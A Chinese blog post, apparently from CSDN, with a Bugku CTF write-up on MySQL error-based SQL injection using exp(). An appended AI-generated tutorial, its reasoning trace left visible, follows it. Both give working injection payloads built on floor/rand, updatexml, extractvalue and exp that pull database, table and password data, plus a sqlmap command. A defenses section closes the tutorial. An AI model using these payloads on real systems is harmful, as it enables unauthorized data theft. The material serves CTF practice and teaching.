简单的sql注入之3 exp函数的使用

博客围绕bugku简单的SQL注入之3展开。尝试用1‘报错,1“回显正常,推测为单引号情况。updatexml()函数被过滤后,采用exp()函数,并附上常见报错函数链接,还给出了payload。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

bugku – 简单的sql注入之3

用 1‘试了试,报错,让后1“回显正常。应该是单引号。既然报错,就试了试updatexml()这个函数,但发现被过滤了,所以用exp()这个函数,这里附上一些常见的报错函数:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

给出payload:

表名:
?id=1' and exp(~(select * from(select group_concat(table_name) from information_schema.tables where table_schema=database())a))%23
字段名:
?id=1' and exp(~(select * from(select group_concat(column_name) from information_schema.columns where table_schema=database())a))%23

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

<think>好的,我现在需要帮助用户查找关于SQL注入中报错函数使用方法和示例。用户已经提供了一些引用内容,我需要结合这些引用来组织回答。 首先,用户提到了四个引用,其中引用1到4都涉及报错注入的不同方面。引用1解释了报错注入的基本原理,引用2和3提到了使用count()和floor()函数的例子,引用4讨论了updatexml和extractvalue函数使用。用户的上一次问题涉及时间盲注,现在转向报错注入,可能是在学习不同类型的注入方法。 我需要确保回答结构清晰,分点说明每个报错函数使用方法,并给出示例。同时,用户需要中文回答,所以要注意用词准确。根据用户提供的引用,报错函数包括floor()+rand()、updatexml、extractvalue等,可能还需要补充其他常见函数exp()。 接下来,我需要检查每个函数的原理、语法、示例payload,以及注意事项。比如,floor(rand()*2)在group by时导致主键冲突,从而引发报错,这个在引用2和3中提到过。updatexml和extractvalue则是利用XPath语法错误来触发报错,这在引用4中有说明。 还要考虑不同数据库的兼容性,比如MySQLSQL Server是否有不同的函数。用户提供的示例主要是MySQL,所以重点放在MySQL上。此外,需要提到防御措施,帮助用户了解如何防范这类攻击,比如参数化查询和错误信息处理。 用户可能还想知道如何自动化利用这些函数,比如使用sqlmap工具,但问题主要集中在手动使用方法上。因此,示例需要具体,比如如何获取数据库名、表名、字段名,每一步的payload如何构造。 最后,确保回答中的引用标记正确,例如引用[^1]、[^2]等,但根据用户提供的引用内容,可能需要调整引用编号,但用户示例中的引用是[^1]、[^2]、[^3]、[^4],所以保持原样。 总结回答结构: 1. 报错注入原理 2. 常用函数及示例(floor+rand、updatexml、extractvalue、exp3. 防御措施 4. 相关问题 需要确保每个函数都有详细的payload示例和解释,并注明对应的引用来源。同时,检查是否有遗漏的函数或方法,如geometrycollection等,但可能用户提供的引用中没有提到,可以暂时不提,或者简要提及。 现在开始组织内容,确保每个部分清晰,使用代码块和表格来展示示例,保持格式正确。</think>#### SQL注入报错函数使用方法详解 --- ### 一、报错注入核心原理 通过构造**特定SQL语句触发数据库报错**,将查询结果直接嵌入错误信息中返回[^1]。核心条件: 1. 应用程序未过滤错误信息(如开启`mysql_error()`输出) 2. 攻击者可控制输入参数 --- ### 二、常用报错函数及Payload示例 #### 1. `floor(rand()*2)` + `GROUP BY`(主键冲突) - **原理**:利用`GROUP BY`分组时产生的临时表主键冲突报错 - **典型Payload**: ```sql id=1&#39; AND (SELECT COUNT(*), CONCAT((SELECT DATABASE()), 0x7e, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x)-- ``` - 输出示例:`Duplicate entry &#39;database_name~1&#39; for key &#39;group_key&#39;`[^2] - **应用场景**: - 获取数据库名、表名、字段名 - 逐字符提取数据(配合`SUBSTRING`函数) #### 2. `updatexml()`(XPath语法错误) - **函数语法**: ```sql UPDATEXML(XML_document, XPath_string, new_value) ``` - **Payload构造**: ```sql id=1&#39; AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1)-- ``` - 输出示例:`XPATH syntax error: &#39;~root@localhost~&#39;`[^4] - **限制**: - 单次最大输出长度32字符(需配合`SUBSTRING`分段获取) - 仅适用于MySQL 5.1.5+版本 #### 3. `extractvalue()`(XPath语法错误) - **函数语法**: ```sql EXTRACTVALUE(XML_document, XPath_string) ``` - **Payload示例**: ```sql id=1&#39; AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT @@version), 0x7e))-- ``` - 输出示例:`XPATH syntax error: &#39;~5.7.36-log~&#39;`[^4] #### 4. `exp()`(数值溢出报错) - **原理**:通过指数函数触发数值溢出错误 - **Payload示例**: ```sql id=1&#39; AND EXP(~(SELECT * FROM (SELECT USER())a))-- ``` - 输出示例:`DOUBLE value is out of range` --- ### 三、分阶段数据提取示例 #### 1. 获取数据库名 ```sql id=1&#39; AND UPDATEXML(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e), 1)-- ``` #### 2. 提取表名 ```sql id=1&#39; AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)))-- ``` #### 3. 读取字段值 ```sql id=1&#39; AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT password FROM users LIMIT 0,1), FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) a)-- ``` --- ### 四、防御措施 1. **禁用错误回显**:生产环境关闭`mysql_error()`输出[^4] 2. **参数化查询**: ```python cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) ``` 3. **函数黑名单**:过滤`updatexml`、`extractvalue`等关键词 4. **权限控制**:数据库账户仅授予最小必要权限 --- ### 五、工具辅助 使用`sqlmap`自动化注入(指定报错技术): ```bash sqlmap -u "http://example.com?id=1" --technique=E ``` 参数说明:`--technique=E` 表示使用报错注入技术 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值